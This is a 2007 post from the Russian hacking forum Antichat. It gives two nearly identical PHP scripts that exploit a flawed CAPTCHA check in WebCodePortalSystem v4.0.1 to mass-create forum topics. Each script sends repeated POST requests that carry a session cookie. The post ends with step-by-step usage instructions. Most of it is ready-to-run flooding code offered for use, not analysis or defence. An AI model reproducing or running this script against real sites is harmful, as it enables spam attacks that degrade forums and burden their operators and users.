
23.12.2007, 00:38
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
WebCodePortalSystem v.4.0.1
[Флудилка форума]
Проверка с картинками сделана криво - после авторизации на форуме вводить символы с картинки не нужно... Вот состряпал две версии флудилки - одна работает медлено, вторая быстрее (но могут не все темы создаваться (к примеру 4-5 из 100 могут не создасться)).
Первая версия:
PHP код:
<?php
//--Отредактируйте эти данные-------------------------------
$host = 'test2.ru'; // Хост
$port = '80'; // Порт
$dir = '/'; // Директория
$forum_id = '1'; // Номер раздела форума
$cook = '36b8e776d_wcps=af6709cdabc23cdbbb445ac7066f4291'; // Ваши куки. Не забудьте отредактировать! Всего в куках две записи, вам нужна только эта - так в которой лежит сессия!!!
$tema_name = '6666687'; // Название темы
$tema_mess = '5555587'; // Текст сообщения темы
$kol = '10'; // Количество тем, которые будут созданы
//-----------------------------------------------------------
// ================
// Coded by Grey
// ================
$path = $dir.'index.php?nma=forumd&fla=new';
$ref = 'http://'.$host.$dir.'index.php?nma=forumd&fla=new&action=theme&forum='.$forum_id;
$len1 = strlen($tema_name);
$len2 = strlen($tema_mess);
for($i = 0; $i < $kol; $i++)
{
$s = fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');
$tema_name .= ($i+1).($i+8);
$tema_mess .= ($i+1).($i+4);
$data = 'action=ok_thema&forum='.$forum_id.'&names='.$tema_name.'&avtor=4&texts='.$tema_mess.'&uved=1&attach_sig=1&referer=topic';
$len_data = strlen($data);
$headers = "POST $path HTTP/1.1\r\nHost: $host\r\nReferer: $ref\r\nCookie: $cook\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len_data\r\n\r\n$data\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
while(!feof($s))
{
$out_data .= fgets($s);
}
$out_data = '';
$tema_name = substr($tema_name,0,$len1);
$tema_mess = substr($tema_mess,0,$len2);
fclose($s);
echo('Otpravleno soobchenii : '.($i+1)."\r\n");
}
?>
Вторая версия:
PHP код:
<?php
//--Отредактируйте эти данные-------------------------------
$host = 'test2.ru'; // Хост
$port = '80'; // Порт
$dir = '/'; // Директория
$forum_id = '1'; // Номер раздела форума
$cook = '36b8e776d_wcps=af6709cdabc23cdbbb445ac7066f4291'; // Ваши куки. Не забудьте отредактировать! Всего в куках две записи, вам нужна только эта - так в которой лежит сессия!!!
$tema_name = '6666687'; // Название темы
$tema_mess = '5555587'; // Текст сообщения темы
$kol = '10'; // Количество тем, которые будут созданы
//-----------------------------------------------------------
// ================
// Coded by Grey
// ================
$path = $dir.'index.php?nma=forumd&fla=new';
$ref = 'http://'.$host.$dir.'index.php?nma=forumd&fla=new&action=theme&forum='.$forum_id;
$len1 = strlen($tema_name);
$len2 = strlen($tema_mess);
for($i = 0; $i < $kol; $i++)
{
$s = fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');
$tema_name .= ($i+1).($i+8);
$tema_mess .= ($i+1).($i+4);
$data = 'action=ok_thema&forum='.$forum_id.'&names='.$tema_name.'&avtor=4&texts='.$tema_mess.'&uved=1&attach_sig=1&referer=topic';
$len_data = strlen($data);
$headers = "POST $path HTTP/1.1\r\nHost: $host\r\nReferer: $ref\r\nCookie: $cook\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len_data\r\n\r\n$data\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
$out_data .= fgets($s);
$out_data = '';
$tema_name = substr($tema_name,0,$len1);
$tema_mess = substr($tema_mess,0,$len2);
fclose($s);
echo('Otpravleno soobchenii : '.($i+1)."\r\n");
for($i2 = 0; $i2 < 20000000; $i2++)
{
}
}
?>
Юзаем так:
1) Редактируем в скрипте данные (указываем адрес, номер раздела, !!!и не забываем сессию!!!).
2) Ну а дальше просто юзаем скрипт:
php c:\wcps_forum_flood.php
|
|
|